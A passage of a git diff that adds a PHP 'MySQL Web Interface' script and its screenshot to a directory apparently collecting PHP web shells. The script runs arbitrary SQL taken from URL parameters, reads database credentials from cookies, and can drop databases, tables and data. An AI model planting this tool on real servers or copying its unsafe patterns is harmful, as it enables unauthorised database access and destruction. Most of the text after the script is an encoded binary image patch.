Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n"; + if( $command == "flush_tables" ) { + if( mysql_query( "Flush tables" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n"; + if( $command == "flush_status" ) { + if( mysql_query( "Flush status" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "</ul>\n"; + } else { + $queryStr = ereg_replace( "_", " ", $command ); + $pResult = mysql_query( $queryStr ); + if( $pResult == false ) { + echo "Fail"; + return; + } + $col = mysql_num_fields( $pResult ); + + echo "<p class=location>$queryStr</p>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=2 border=0>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>".$field->name."</th>\n"; + } + echo "</tr>\n"; + + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + for( $j = 0; $j < $col; $j++ ) + echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; + } +} + +function header_html() { + global $PHP_SELF; + +?> +<html> +<head> +<title>MySQL Web Interface</title> +<style type="text/css"> +<!-- +p.location { + color: #11bb33; + font-size: small; +} +h1 { + color: #A4A260; +} +th { + background-color: #BDBE42; + color: #FFFFFF; + font-size: x-small; +} +td { + background-color: #DEDFA5; + font-size: x-small; +} +form { + margin-top: 0; + margin-bottom: 0; +} +a { + text-decoration:none; + color: #848200; + font-size:x-small; +} +a:link { +} +a:hover { + background-color:#EEEFD5; + color:#646200; + text-decoration:none +} +//--> +</style> +</head> +<body> +<? +} + +function footer_html() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME; + + echo "<hr>\n"; + echo "<font size=2>\n"; + echo "<font color=blue>[$USERNAME]</font> - \n"; + + echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n"; + if( $tablename != "" ) + echo "<a +href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table +List</a> | "; + echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n"; + echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n"; + echo "</font>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +//------------------------------------------------------ MAIN + +if( $action == "logon" || $action == "" || $action == "logout" ) + logon(); +else if( $action == "logon_submit" ) + logon_submit(); +else if( $action == "dumpTable" || $action == "dumpDB" ) { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + dump(); +} else { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + echo "<!--"; + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + echo "-->"; + + if( $mysqlHandle == false ) { + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<h1>Wrong Password!</h1>\n"; + echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; + } else { + header_html(); + if( $action == "listDBs" ) + listDatabases(); + else if( $action == "createDB" ) + createDatabase(); + else if( $action == "dropDB" ) + dropDatabase(); + else if( $action == "listTables" ) + listTables(); + else if( $action == "createTable" ) + createTable(); + else if( $action == "dropTable" ) + dropTable(); + else if( $action == "viewSchema" ) + viewSchema(); + else if( $action == "query" ) + viewData( $queryStr ); + else if( $action == "addField" ) + manageField( "add" ); + else if( $action == "addField_submit" ) + manageField_submit( "add" ); + else if( $action == "editField" ) + manageField( "edit" ); + else if( $action == "editField_submit" ) + manageField_submit( "edit" ); + else if( $action == "dropField" ) + dropField(); + else if( $action == "viewData" ) + viewData( "" ); + else if( $action == "addData" ) + manageData( "add" ); + else if( $action == "addData_submit" ) + manageData_submit( "add" ); + else if( $action == "editData" ) + manageData( "edit" ); + else if( $action == "editData_submit" ) + manageData_submit( "edit" ); + else if( $action == "deleteData" ) + deleteData(); + else if( $action == "utils" ) + utils(); + + mysql_close( $mysqlHandle); + footer_html(); + } +} + +?> diff --git a/php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.jpg b/php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.jpg new file mode 100644 index 0000000000000000000000000000000000000000..c4d51e77e78f4d3a74ec98d778321d0a0d6cb72d GIT binary patch literal 16539 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 